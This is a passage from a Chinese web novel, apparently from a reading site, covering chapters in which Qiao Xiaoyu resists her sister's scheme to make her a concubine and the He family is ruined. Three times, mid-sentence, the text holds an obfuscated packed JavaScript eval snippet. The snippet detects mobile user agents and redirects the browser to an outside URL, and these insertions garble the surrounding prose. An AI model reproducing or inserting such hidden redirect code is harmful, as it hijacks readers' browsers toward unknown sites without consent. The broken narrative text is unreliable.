可何思成的腿竟慢慢好了起来，渐能下地走路，何家人心里便又燃起了希望，而我，却是配不上他们的儿子了。这让我感到了危机，所以即便何思成性情狠戾敏|感，我还是设计勾|引了他，成婚之前便已然有了夫妻之实。我那婆母竟当何思成是与我青梅之谊，为全了何思成对我的感激之情，抬了我做何思成的通房。” 成了通房，连妾也不如，何家是存了心思娶个正头太太呢！既是如此，婆母又怎会允许我有孕在身？故而那避子汤是一碗碗地吃了，孩子也流了三个，到底年少，如此便伤了根本。我的好婆母，还道说日后正妻进门，便会抬了我做妾，到底是养在身边的知根知底，让我跟着打理何家的庄子田地。” 我曾求过何思成可怜，可人家压根看不上我这样一个没有根基的，我左思右想，还是让何家断了娶妻的念想才好！”何小知的声音阴恻恻地，眼底是一种发疯的笑意，她微微伸长脖子，似乎想要对面的血肉之亲能听得更清楚些，“所以，我设计何思成出行的马车，让他重新摔断了腿去！结果你猜怎么着，他竟再也站不直了，成了个跛子！” “噫，别那么一副惊恐的模样。”何小知轻蔑地对乔小遇道：“你们不早觉着我是个恶毒的了么？” 乔小遇紧咬了牙，怜悯地道：“你可真是会釜底抽薪，所以何思成婚事告吹，何家再也无望，且瞧着你对何思成尽心侍奉，便将你迎娶进了门？” 何小知抚掌大笑道：“我的好妹妹，你猜得竟是分毫不差呢！如今我管着何家上下的田产庄子，就算何思成打我，我都不曾觉着痛哩，因为我可以顶着这伤去婆母那里唱戏，教他们觉得对我有所亏欠，掐了将我休弃的心思……” 98. 屈从豺狼 自责悔恨，却不知当如何补救——乔冉安夫妻俩只剩余叹息和惊惧。何小知如今长成这样，心底的血恐怕早已冰凉，她对何思成的所作所为，是万不能被何家察觉的，然而这家里人都是老实本分的农户，何曾牵扯这种事？ 难怪何小知将仆从远远打发了去。乔小遇明白爹娘的感受，她理了理心神，方才缓声说道：“若日后你婆母故去，何氏由你掌家又如何？你终究依附在何思成之下，由怖生怨，你难道还要他的命不成？” “倒也不必，只让他重新做回废人，让这家离不开我便可。这无非是个戴假面具的事，我早已熟习。”何小知挑眉轻笑，“怎么，妹妹你不愿看我受苦，想要渡一渡我么？你该明白，我是回头无岸了。” “听起来你与何思成之间已再无半分真心，如果你打算继续忍受他的施虐，那便回去吧。”乔小遇冷了声，“至于那五十两银，你也一并带回去，家里不用你孝敬。” 何小知没有料到事情会发展到这种地步。确实，她对乔小遇所知不多……在回来寻亲前，她也不过得了人消息，道陆家公子属意乔小遇而已，而她连这陆家公子究竟是谁都还不曾明晰，便只多方打听，得知陆苑与乔家村签订的契约，才觉得那消息并非空穴来风。 她是嫉妒的，尤其当下看着这满屋子的人都在护着乔小遇，何小知觉得这事她是非得办成不可。 “如果你不收下聘礼，那么这村里的东西是走不出这山凹了了。”何小知的目光转向乔冉安夫妻俩，道：“你们说，如果你们送到陆苑的农货出现问题会怎样？” “不要觉得我在危言耸听。”何小知接着道：“我知道这个家里和陆苑有了牵扯，可是人贵有自知之明，你们能倚仗什么？” 至此，这屋子里便只有乔冉安一个人听不太懂了。 乔小遇则在思考农货的问题：走地鸡在送到县上时会检查是否患病，如果有问题会被拒收，那么何小知口中的农货就只能指莲藕了，可它如此普通……再者就是，何小知对陆桓知道多少？ “你来就是为了胁迫吗？可是小知，好歹血脉连亲，你换个人去代你生子不是不可以啊……”傅娘子的声音已然嘶哑，然而这话一开口，她更觉得自己对不住何小知。 “你们还是和以前一样，为了护着她而牺牲我。”何小知轻轻地吸了口气，接着道：“何思成施虐不假，我谋夺夫家家财不假，然而我用银子随意买了个人去做妾，买几个妾都好，我可不会给那人体面，最后也只是去母留子而已，” “这才是胁迫……”何小知轻蔑地瞥了眼去，从木桌上轻呷了口茶，接着道：“此行我带来的茶叶还不错，你们便留着喝吧。五日后，我再遣人来村里接妹妹。” “不成，这事我绝对不会答应的！”傅娘子径直站了起来，怒道：“既然你觉着我和你爹心狠，彻底将你舍了去，那么你要抬几个妾，都是别人的命，我们舍了就舍了！” 何小知掩嘴轻笑，裳口半遮的狰狞伤口再次显露出来，“娘，你这话唬得自己都信了呢……瞧着，我已经疯了，被何家人、还有你们，啃得骨头渣也不剩，你们不答应的话，可以去报官的。” 报官？这又怎么可能？ 乔小遇很快就冷静了下来，说：“换个条件吧。我不认为借腹生子之后我还能回到村里，所以五日的时间并不够……” 何小知挑了挑眉，诧异的话语带了几分漫不经心的慵懒，“哦？你这是打算真的当妾？” “若口头只是让人接我去何家田住上段时日，这一年半载的总让人生疑，且这一家老小便都被你拿捏在了手里。既已走上这样一条路，又怎么可能还回头呢？索性，就道你给我说了一门亲事，仔细算了婚期，家里好好张罗办过酒席，我才能随你离开。” 乔小遇往前一步，接着道：“我们以一月为期，如何？” “为免夜长梦多，至多二十日。”何小知摆手，显然不打算再商量，说：“家里便且先准备下酒席吧，至于嫁妆，我这姐姐会好心准备的。” 她跟着站起身，目光在乔小遇身上逡巡，道：“没想到，你确实做了自己的主，而他们无从劝你。放心吧，待你有孕后，所有的伤都会终结。” “你可以走了。”乔小遇将脸转朝里屋一侧，看着家里黢黑的板壁，眸色一片漆黑。她心里发苦，却又无比清明。如果事情牵扯到陆氏，那么有很多东西就不是她自己能够消化得了的。 乔冉安自知何家已是虎口，可他不清楚大女儿所谓的威胁怎么让乔小遇妥协下来的，在他看来，如今便是两个女儿都受了苦，他连怨恨什么都不知了。 “小遇，那你与陆公子？”傅娘子心思明灭，连起身都觉得艰难，只收回那道看向乔冉安出门送行的蹒跚脚步的目光，颤声道：“到了这种地步，陆公子应当给个准信了。要不，娘明日就去陆苑拜访一下盛夫人？” “娘，我不能在这种时候让盛夫人表态。”乔小遇轻轻摇头，“我不清楚陆苑中有什么人知道我的存在，也不知道他们对陆桓存了什么心思，所以我不能让陆桓的痕迹出现在这件事里，更不愿意被盛夫人轻看。” “破局的方法总是有的，双十之约本就是个拖延的法子。”乔小遇边安慰着傅娘子，似乎像是下定了什么决心一般，接着道：“娘，你放心吧，这件事我会与陆桓商量着来，总不会让家里为难的。” 傅娘子难过地说：“我没来得及与你姐姐开口的是，就算没有传宗接代的孩子也没关系，毕竟我和你爹头上就只有你们三个女孩儿，何家抬几房妾室，生几个孩儿，她的日子只要能过下去就可以了。娘在意的是何思成那天杀的，居然虐待你姐姐，这才若刀子割心啊，然而你姐姐只想着掌握何氏房田，已想着要别人的命，那也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924427|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是活不成人样了。” “那妾室只要是她婆家做主抬的，便由不得她控制，想来她如今着急，恐怕她相公房里的那个美妾已经有了身孕……娘，何小知拿谋人性命来威胁家里，但她没有告诉你的是，对于这美妾腹中的孩子，她已打算谋命。” 乔小遇叹气道：“她是心狠，却也是怕了，所以只会对那狼窝里最大的豺狼屈从，而我……” 而我，虽然对她惋惜更多，此刻却已起了斩狼的心！ 我从未期盼她到来。 这日，山雾霭霭，将环绕在乔家村周围的山脉峰顶都给遮蔽了去。那山，就是将军也斩头！ 乔小遇在给陆桓的信中说得很直接，她需要利用何思成来破局，也道这已经是她所能够想到的最好的方法。陆桓收到这信时，正随赵王巡查江北大营结束，而他也因此耽搁了两天…… “木机公子一向不露山水，如今是因着什么事发这么大的火？”韩珏眉眼中闪过一丝狡黠，一面关切问候，一面则趁着陆桓不留神，将他手中的信笺给抽了去…… “莫来扰我，你若不得趣，我就让韩将军遣你回皇都去！”陆桓见这人已快退出军帐，便不再抢，只道：“此事还需你帮我！” “难为木机公子还有求助我的一天……”少年将军展信一看，而眉头已是愈紧，他惊诧道：“这就是木机公子心念着的佳人？你如何判定不是一个农家女一心攀附于你？这女子为了搅黄婚事，竟对自己的姐夫起这歹毒的心思，竟然要人断子绝孙？” 陆桓冷冷抬眼，“你倒看完这前情，她是迫嫁为妾。若你家中亲妹，被人逼迫至这般田地，你待如何？” “谁敢让忠国公的姑娘为小户做妾，小爷我不砍了他脑袋？”韩珏气哼声，随即摆手道：“可她的出身，如何能拿忠国公府相较？” “一片护卫之心都是相同的，你将你妹妹视若珍宝，我对她又何尝不是？以后莫要让我听见你说这话了。”陆桓眸色冰冷，自嘲道：“若说心思歹毒，我只比她更甚。何氏欺人至此，便连同她的胞姐，我都不想留人性命。” 至于她胞姐的相公，一个浪荡子弟，若伤了性命，何家不稳，家财难保，何小知最后竹篮打水一场空，却也不知回头会惹出什么事端，最好这以后，不要让她与乔家村再有牵扯了。就按照乔遇的意思办吧。” 陆桓言至此处，才接着道：“这几日军帐中的事我抽不开身，需得你去朝州府一趟，除了料理此事，还得问问谁去联系上的何家。你麾下有个叫乔荣的兵，也出自乔家村，此行你带着他去，这事你也不必瞒着他，他会把尾巴断干净的。” “行，这事就交给我吧。”韩珏知道在乔小遇这件事上他多说无益，只得故作轻松地笑道：“那你可算欠我一个人情了，回头商议军事，可得在我父亲面前替我美言几句，我可受不了这练兵的枯燥活了。” 99. 何家绝后 时间已经过去了三日。 乔冉安夫妻俩已全没了主意，但瞧着女儿忙出忙进，在遣人去了趟高府送信后，竟真的去寻了料子让傅娘子与她做嫁衣。 “你这果真要嫁？”傅娘子眼中含泪一问，但看乔小遇轻轻摇头，又道：“我和你爹只瞧着你这一言不发的模样，心里实在疼得慌。” “你们也帮不上忙。”乔小遇话虽这么说，心里却想着若是自己将实情告知于他们，那么这计划便行不通了，只道：“虽说手心手背都是肉，可爹娘对何小知的惋惜会更多一些。” 命途坎坷，自小就被舍离了家，所有人都知道，乔冉安夫妻俩对大女儿存在亏欠。对何小知而言，这种亏欠对她而言就像是心口被人挖了一个窟窿，这辈子都再难以补全，而那窟窿，更像是一个旋涡，将她彻底裹挟而进，此生再难以窥见天光。 傅娘子闻言欲摇头否认，可乔小遇却跟着道：“娘，你和爹也应当早早察觉出了吧，我和从前并不相同……” 对面的乔冉安夫妻俩立时愣住，但听乔小遇自嘲笑道：“早在几年前发高烧那次，真正的乔小遇便已经去了。如果她的死去，是你们为人父母的亏欠，那么我的偶然到来，又算作什么？” “那你是谁……怎么会？这什么诡事，竟让我们家里遭着！”傅娘子惊恐地后退几步，一旁的乔冉安连忙搀扶住她。 “是吧……真正的乔小遇，认识的字并不如您来得多。”乔小遇目光沉静地看向傅娘子，接着道：“您早察觉了，只是把这个疑问转移到了陆桓身上以麻痹自己。养着个奇怪的人你们觉着很可怕吧？养育之恩难消，今日的乔小遇会尽心孝敬你们，可话说回来，我真的不欠你们什么，我更不欠何小知。” “所以，我因受到何小知的胁迫而试图反抗、甚至发疯，所做作为都是她种下的因，我内心不会有任何歉疚。所以，请不要在我面前提及‘亏欠’这样的字眼了。” 乔小遇一口气说完，冰冷的眸色就如同阴日里的秋霜，如何也化不开了去了…… 她知道的，乔冉安夫妻俩一定会对何小知妥协，就从傅娘子真的从她手中接过那匹红布料开始。他们不阻止乔小遇给陆桓递信，也认为乔小遇的婚事由二老做主，乔小遇或许不应当背负这样的命运，但她应该还债！ 这一生里，他们最怕的是“无力”两字。有人在挣扎着，最后向命运妥协；有人在挣扎着，却依旧向命运叫嚣。 在那日惊骇的“坦白对话”结束后，没过两天，整个乔家村都知道了乔小遇的喜事，而乔小遇一直待在山林边的小棚里喂鸡、捡鸡蛋…… 乔宝树来问时，乔小遇还在林间忙碌着。 “都传开了是吗？”即便料到，乔小遇心里也很不是滋味，便顺手洗了几个鸡蛋，放进那只正烧着水的茶壶里，接着说道：“我娘他们有说是哪里的人家吗？” 乔宝树非常惊讶：“你居然不知道？可你娘不是说你很满意这门亲事吗？” “是吗？我竟然不知道。”乔小遇给气笑了，“等小知姐姐下次来，我可得好好问问。”乔宝树急懵了，挠头道：“这究竟怎么回事？” 乔小遇道：“等把这批货交出去后，我再回家问问。” 乔宝树这才意识到，乔小遇早知道了这门亲事，在和家里闹别扭，却又好像并不把这件事挂在心上一般，任由其发展。他是很想开口去讨亲，然而此时这时机…… “那陆桓呢？” “他已然知晓。”乔小遇轻轻一笑，道：“他们都以为定了亲，就没有反悔的余地了……我也是希望何小知能得偿所愿的。” 家有喜事，当喜上眉梢。 可快到了约定的日子，乔冉安夫妻俩依旧没有得到何小知的任何消息，只能看着家里采买回来的东西干着急。乔小佩不谙世事，想去寻乔小遇耍，却被关在了家里。 乔荣却在这时回到了乔家村。他的身量抽高了许多，脸部早已被晒得黢黑，隐在黑衣下的肌肉轮廓如同刀刻一般，人也有了几分气势。见过他娘后，乔荣便径直去了乔小遇家。 “叔叔婶婶，这些你们备下的婚宴之物应是用不上了，能退的便退了吧，不能退的便当自己花银子买了个教训。”乔荣将乔小佩抱着在怀里安抚着拍了拍背，一边笑道。 好家伙，这人一笑，竟如那地痞恶霸一般，言语如同强灌人肠的毒药。 傅娘子想轰人了，咬牙气闷着道：“你这是什么意思？” “难道何小知没有遣人来与你们说吗？也怪道咱们这地方偏僻，荆榛蔽目。咱可听说朝州府那边出了桩新奇事，何家郎君负心薄情，让一个花楼女子怀上了身孕，可人只拿家中母虎威逼，就算这女子赎身也不能嫁进何家。不想女子隔日暴毙，老鸨便将何家郎君给告上了官府！ 眼见着头顶上便要降下祸端，何家忙着四处打点，家中小妾竟不知如何离开的家门，径去府衙哭唤。就在大家以为她是为丈夫喊冤时，那小妾竟说何思成根本行不了房事，又怎会让女子有孕？可那小妾明明已有身孕，细责之下，才道这女子是何思成娶来的二嫁良妇，孩子竟是前夫的！ 小妾唤名江氏，前夫一打铁匠人做些营生，她则负责浆洗缝补。两人新婚不过三月，江氏便因送还何家缝补之物被那何思成看上，光天化日动手轻薄，何母也是斥责无用。没几日，匠人铺子竟失了火，那小妾便被何思成给带进了家门为妾，还换了个户籍，而外面的乡里乡亲，竟都当小夫妻在这场火难中死了去。” 乔冉安夫妻俩生在这山村里，哪里听过大院里的腌臜事，何况这都惹上了人命…… “这匠人难道是何思成做计杀的么？”傅娘子只觉得自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924428|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的嘴巴干得都快粘连在一块了，这才一张口说话，嘴皮上便立马撕裂出一些血来。 “那倒是个意外。甚至经过何家婆媳作证，那江氏纯是自甘堕落，才会假死以遁，便对何思成投怀送抱！”乔荣存了恐吓的心思，话音里可没有半分轻松，只接着道：“奇怪的是，那江氏竟也不反驳半句，只在公堂上哭得潸然！” “那何思成究竟有没有沾染上人命官司呢？”乔冉安夫妻俩听了个迷糊，他们只道无论江氏是否对前夫心有惦记，无论她进何家是否被胁迫，但凭她肚子里的孩子不姓何，她便一定会被逐出何家，那么何小知就没有了威胁！但与此同时，何家又怎么能倒？ 乔荣一笑：“瞧着他也没那个胆量惹出这等人命官司！” 乔冉安闻言总算安心了些，跟着轻拍了拍胸口，道：“原来这段时日小知为家里的事奔波，也不怪无法顾及咱们这边……” “顾及什么？坑蒙着乔小遇进那豺狼窝么？”乔荣没想到他这叔看着憨厚忠实，实际心眼偏了去，生了个蠢脑子、黑肠子！ “怎么会？如今事情闹得沸沸扬扬，我们又怎愿与何家再生牵扯？”傅娘子已不想探究乔荣是如何得知此事的了，连忙摆手。 乔荣气哼了声，只将乔小佩放在门外的木凳上，让她去山上寻乔小遇回来，才折身道：“你们也莫想着何家倒不倒了。何思成想着活命，便也只能认了自己不能生养，随即差役架了他去公堂后边查身时，人不过一会子上茅房的工夫，回来便只见那何思成□□血淋淋的一片……” 乔冉安十分惊讶，问道：“他自己心虚干的？” “这事说来奇特，原是将那暴毙青楼女子的疯爹，竟溜进了官衙后院行凶！可这人在与何思成拉扯的过程中已经撞头而亡！女儿本是他卖进青楼的，可算是枉为人父，众人没想他临到头时竟还来了一出报仇雪恨的戏码。” 乔冉安夫妻俩的老脸涨红，羞愧难当，尤其被一个小辈影射，尤其这小辈也没个好爹…… 乔荣话音讽刺，接着道：“这事到最后，竟只能由何小知上前作证几句。银子花得到位，最后怎么都是圆满的结局。” “这样看来，何家是彻底绝后了。”傅娘子心情有些沉重，可跟着想到大女儿当初所求不过何家家财，何思成命根子已断倒是能少沾些是非这点后，跟着长叹出口气来，与乔荣郑重道：“困局已解，想来小知不会再强人所难。” “你来这遭与陆小公子脱不了干系，倒也罢了，小遇的亲事我们老俩便当使个算命的说道一番，多留她几年，陆小公子得饶人处且饶人，千万不要计较了。他能看上我家小遇，那实在是我家小遇的福分。” 乔荣听着傅娘子的允诺，胸腔处却不知为什么气闷更甚，他咧唇冷笑，点头道：“何家确实绝后了，如今忙着办何思成的丧事哩！” 100. 君有归期 何思成竟是死了吗？那何小知往后的日子得怎么过？ 乔冉安夫妻俩面色发白，一双眼睛睁得老大，仿佛停驻在沙滩上的死鱼一般，他们这样的反应让乔荣觉得无比恶心。 “这是陆桓……”傅娘子声音嘶哑张口，而后面的内容便在乔荣冷瑟的迫压下立即收回。她怎么能这么想？又怎么能怀着这样的心思去揣测乔小遇呢？ 乔荣冷笑，“何思成身下挨了这么狠的一刀，高烧不退，血流而尽不是很正常么？您二老不如问问何小知，这个结果她是否中意呢！” 想及何小知对丈夫存有的恶意，乔冉安夫妻俩渐觉得释然开来……他们之前已被逼至绝路，如今局面能破，已不能再好。 …… 回到家的那一刻，乔小遇这才将横亘在心头的那种压抑感渐渐松去。她甚至不敢松得太快，唯恐许多的无端才是平常，那一个人生来便要遭受如此多的无常，那这日子熬着怎么会有回甘的一天呢？ 所以她宁愿心存期许，便是这荒芜山坡上所种植的一片苦荞，不必开着甜荞那五颜六色的花，她只要纯粹的米白色花苞轻轻地被那钟嫩绿的叶片托住，漫山遍野开去，心里就是满的。 等花谢了，挂上荞穗，等日出日落几个周而复始，那黑色的种粒甚至能爆开看见哩。 即便，这件事让她与家里生出了隔阂。乔冉安夫妻俩重新见到她时，心中既是恐惧，又是艰涩……他们一直没有时间心平气和地坐下来谈一谈，比如对于面前的乔小遇不再是乔小遇的事。 乔荣的到来，就好像硬生生地把两张破损的墙给建在了一起，一边是发黑的松木块，另一边是刷了白灰的土墙，终究还是割裂的。自此开始，乔小遇便成了这个家里的局外人，除了乔小佩待她还同如常，乔冉安夫妻俩却与她说话更少了，大家都有了默认的家庭分工。 日子一天天好了起来，随着乔小知的婆婆去世，她与这个家的走动越发频繁了。这情形落在乔家村人眼中，总教人阴阳怪气一句乔冉安福气好，乔冉安慰竟也笑呵呵地受了，在他看来，终究是血脉亲缘，乔小知能过上今天的富贵日子，总是因为他将这孩子带到世上走了一遭。 拖罗河流经处，乔小知这年纪轻轻当了寡妇的事倒也跟着流转了来。有媒婆上门介绍，便是些有点财势的，乔小知也看不太上，只道思慕她那去世的夫君。除了傅娘子心头热着，想给乔小知重新寻觅一门婚事，明眼人都知道何小知这是巴着何家的钱财不放了。 也是，有了钱财，要男人有何用，还是那般糟心的男人！ 可何家也不是不会动心思的……乔小遇从傅娘子那里知道，何氏宗族里那些个老不死的已经合计着找人过继了、香火断了，那就重新点一支！但这过继来的孩子，被乔小知婆母从中作梗，似是要由老太太养着…… 乔小遇原不觉着此间还能与她扯上什么干系，后来却是很佩服乔小知这生事的“本领”。她所谓的走动，不过是想探探陆氏与乔家关联的深浅。 七月的时候，乔小遇得了陆桓的来信，信中所言盛氏已无多少时日。任连忠也得知了，更是借了把陆彰所属旧部的火势，开启了大刀阔斧的改革。陆苑中人得知此事后，便也猜到与陆桓相关，没有人知道陆桓究竟为着什么，他的立场总是如此反复，与他父亲的耿直忠良全无相同。 折回乔小遇这边，盛氏却是想见她一面了…… “为什么会那么突然？”登车之前，乔小遇还是没忍住问高扬道。 高扬虽为盛氏的病烦忧，但也展颜对乔小遇说道：“不管到时候发生什么，你都不用对外道言半句，剩下的事交给我就行。” “这身衣裳很衬你，很好看。”高扬上下打量着乔小遇，点头吟笑道：“乔小遇，陆桓对很多事情都已经无所谓了，你既然被他挂在心上，便只能跟着他一起不回头。” 水浪拍打着浅滩，将沙泥卷起，形成一小片混浊，瞧着是永远无法融入这水流了，可水流怎会停止流动呢？乔小遇这片混浊终究是要随那水流裹挟前进的。 乔小遇郑重地点了点头。 这场以为盛氏贺寿为由所召开的游园会，在各路人马的簇拥注目下，乔小遇的出场显得那么特别。挂枝未熟的石榴、光彩的披帛、灼目的涟漪光斑、款款而行的步伐、众人垂首行礼。朱门琉璃对应的线条，不再是对天幕的分割，而是镶嵌其中了。 乔小遇并没有见到陆桓母亲，但是在外人看来，就是见了。 “姑娘喝茶么？” 乔小遇摇头，轻声道：“不必，有事我会叫你的。姐姐先去忙吧。”直到日暮、茶凉，人也到了该走的时候，乔小遇才轻轻抿了口茶水，将茶盏放下。 偌大的厅堂里，乔小遇瞥眼看那屏风后的幔帐，指尖微麻，但心中一片平和。 从允诺陆桓开始，她便知道这些东西她只能屏蔽。乔小遇起身朝盛氏的方向福了福，就此打算离开，念及陆桓信中无奈的语气，却还是盈盈行了叩拜之礼。 幔帐里传来一阵艰难的咳嗽声，下人连忙将盛氏扶起，问道：“夫人可要交待些什么？” “姑娘请留步，我们夫人见您欢喜，想要多叙叨几句。”婢女声音清脆，宛如黄鹂一般，同盛氏那断连沙哑的嗓音完全不同，“你知道，我到死也不愿允下你和桓儿的婚事的，我是这样恨你，你又何必跪我？” “这一拜，全是为了您对陆桓的体谅。”乔小遇皱眉道：“我同夫人都不曾见过，您恨我实在没有必要，我也不会放在心上的。” 这回应太过于没有礼貌，在盛氏的设想中，她应当是低伏在地的野草！空气似乎凝固了，盛氏斥责道：“如果你有自知之明， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924429|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今日就不该来！” “若不来，浪费了天时地利人和。”乔小遇叹气，道：“我来，也不是为了你羞辱我的。” 她是那野草又如何？她坚毅，此前不曾为了这段关系踏越半步，因为她知道自己会粉身碎骨。可陆桓已经决定日后会与陆苑分割，那便有了在家世财产上的对等，她的父母并非真的父母，而陆桓的母亲即将离世，如此残忍的对等，却成了两人接近的契机。 乔小遇想，她可以再往前一步的…… 命运使然，盛氏终究走到了生命尽头，而她愿意接受乔小遇的拜见，已经做到了“人和”。这也是她唯一能为陆桓做的事了：让他迎娶他喜欢的姑娘，和任何“势”都无关，陆家就此也可以认为陆桓等同于一颗无法启用的棋子。 盛氏不甘心，也甘心了。十二月，北地战事方平，陆桓便驰马归家在盛氏膝前尽孝。而在这之前，由盛氏经手，已将他与乔小遇的婚事定下，开春便是婚期，但盛氏知道自己熬不过开春的。 在一个飞雪之夜，盛氏去了…… 陆苑中三十六道钟鸣，惊得墨蓝色的夜睁开了眼，然后又缓缓地闭上冬眠。乔小遇见到陆桓时，他面容憔悴，似乎来到了另外一个战场。 她轻抚了抚陆桓布满血丝的双眼，道：“她一直想着你回来，想着你回头看她一眼。” “我知道。”陆桓点点头，胡茬轻蹭在乔小遇颈畔，叹声说：“她这辈子过得不快活，临终时握着我的手说‘我不希望你也这样’，可她口中唤的，却是父亲的名字。” “那父亲过得也不快活么？陷身于那样的政斗旋涡里，抽身不得，最后被吞噬而尽。”陆桓轻轻拍着乔小遇的肩，下巴靠在她的头上，出怔地看向庭中的银雪白烟，说道：“如果不是遇见你，我不会做这样的决定。” 他这样的人，在决定当幕僚谋士扶持赵王上位的那一刻起，无论陆任二姓，都已成了他的棋子。他便要看那黑白分明，有人沉冤得雪；他便要看那猛虎相斗，借任连忠之手完成父亲未竟之业；他便要看那皇城中的眼睁开看看这人间，微如蝼蚁却能有灯火万千……最后，谁是棋子都不重要了。 陆桓要守孝三年，但木机公子不必，这是他为人子的亏欠。陆桓心里是压着千斤担的，他深深地知道，自己想要做到急流勇退有多艰难，亏欠的人太多，他不妄求他人理解了，但求有个心归处。 春日里依旧风寒料峭，树枝被刮得“咯吱”作响，陆桓戴着兜帽，勒提了黑风的缰绳，制止它想要下坡涉水而过的冲动，这让黑风直打马鸣，似是十分不满地说：“既然那么想见，却又为什么不去见呢？” 陆桓俯身拍拍黑风，柔声道：“你乖一些，我会尽快回来的。”黑风扭头将他的胳膊甩到旁边，但也不再出声了。 再一次的离别，在江北出行后。 101. 想吃软饭 因为陆桓“守孝”，所以两人的婚期延后了。傅娘子本以为乔小遇会因此而离开这个家，然后生活归于平静，如今却是落空了。 “我也不是那神龛菩萨，要让这家里的人小心翼翼。”乔小遇思虑良久，才对乔冉安夫妻俩开口提说自己想要另外谋事，“我不是男子，对外虽不能道说什么分家的笑话，但我是打定主意挣下一份家业的，日后你们二老也有傍身之处。” “陆桓那边也是同意的，所以你们不必担心什么。”乔小遇看着她爹迟疑的模样，接着道：“我也不会离了这湾子，道说去外头闯出些什么名头，小富即安，能帮着村里的也会多帮着的。” 乔小遇不觉着自己有什么经商之才，也没有太大的野心，那句小富即安也是她的心里话。她与陆桓心照不宣的是，离了那波诡云谲处，无关陆苑、无关木机之名，他们没有沽名钓誉的必要。 “那你打算做什么？”傅娘子垂眸半晌，将火炉里的柴木挑高了些，才道：“家里能盘算给你的银两不算多……” “我是想着将湾子上游开设一家山庄。但也不必急着一步到位，且先去县衙办妥相关事宜，开辟荒山种植白芨和三七这类药草，借之前销出去的苦荞作一个名声。也是朝廷鼓励开荒，不然这事也实在容易惹官司。”乔小遇答。 “开山庄？种药草？就咱们这旮旯地？”乔冉安夫妻俩很是惊疑，一副乔小遇要搞大事业的样子。 “陆桓来信说，南境有兵叛的前兆，若是战起，时间线会持续很长……”话已至此，乔小遇便不再多说什么了。或许乔冉安夫妻俩暂转不过这弯来，但是提及陆桓，他们便不会有太多疑虑。 战线既会拉长，那么山区所产药物将会被源源不断地运往战区救助伤员，既然朝廷已经察觉到南境的动向，便会早做准备。 在高扬的帮助下，乔小遇一家顺利拿到了野山林外围的开荒执照，而且比较有意思的是，村里也有几家人在听说她家里打算种药之后，便也跟着动了心思。 野山林从前确实是个凶险之地，但在牛疫爆发之后的第二个灾年，为寻药草和食物，附近的村民已然在周边区域盘桓许久，猛兽是不见什么了。何况此番并不种粮，随着土犁的推广，劳动投入并没有那么大……为保安全，村民们在开荒的时候还将山林划出来部分做了陷阱隔断。 烧山那日，很多湾子附近的民众也跟着来看热闹了，众人便瞧着一把火、一片浓烟、一片燎原，目及处已是一片灰黑。 乔小遇俯身用抹了层草木灰在指尖轻轻碾着，清澈的眉眼里仿佛已能看到日后的景象…… 外不安，内亦不宁。 当西北一带力退敌军，渐成防守态势，只余几股小规模的骑军骚扰边境后，皇城里的贵人以为自己有了喘息之机，着手准备议和，这无疑使得主战一派的将领十分不满。任连忠原也想要议和，但他很清楚原本追随陆彰的那几位官员可不吃这一套，眼瞧着自己好不容易聚集在一起的改革派又因为政见不同而分崩离析，他也只能硬着头皮上了…… 官家的刻意也是太过明显，秦王这个已经没什么话语权的皇子竟被安排成了“嘴替”。于是这金銮殿上，任连忠和秦王两人竟是唇枪舌剑，斗得你来我往。任连忠很少如此地“不识时务”，这让官家很是头疼。 任连忠知道事情不能多作拖延，潜伏在临安城里的细作一直在观望朝堂，他是很希望秦王爆雷了，没想着陆桓就真的送去了一个。 九月，原本已批审结束的军需案因为一封来自于北原帐中的奏报而重新翻起了水花，这水花如银刀寒刃，给了秦王封喉一击！时间退及之前的牛疫之变，地点由淮水逆流至金葫芦口，那个将傅震牵连在其中的金葫芦口灭尸案终于得见天日！ 谁说黄沙埋骨，便见天日也不辨形容的呢？ 破败园、鸣冤鼓。当日，傅震携妻儿敲响了它，随着鼓声传向内廷，秦王面见官家时得了几个闷心脚，果真是圣心难测。金葫芦口灭尸案被移交至大理寺主审，朝廷上下十分震动，外邦见此便以议和为名请求进京，更是气着了官家，谁都不愿在这样的当口生出是非，惹外邦看笑话。 然而秦王可巴不得水再浑些，这件事他想要抽身而出本是难的了，但谁也没想到南境兵叛竟来得这样快…… 最后秦王拿了自己的小舅子、如今的户部侍郎常遇祭天，竟也被官家忍了下来，因为官家需要秦王去南境平叛，毕竟朝中熟悉水战的将领并不多，但秦王却有驻军经验。 乔小遇收到这信时，实在不敢想象傅震在其中承受的悲愤了：以为背水一战，却没想到保全自己、求个“公平”二字竟都这般难。 五月，风携雨水卷过重重岗。陆桓也回来了。 乔小遇走出茅屋，抬头只瞧得这雨水来得这样急，索性摘了斗笠，“这会儿下山路也太滑了……” 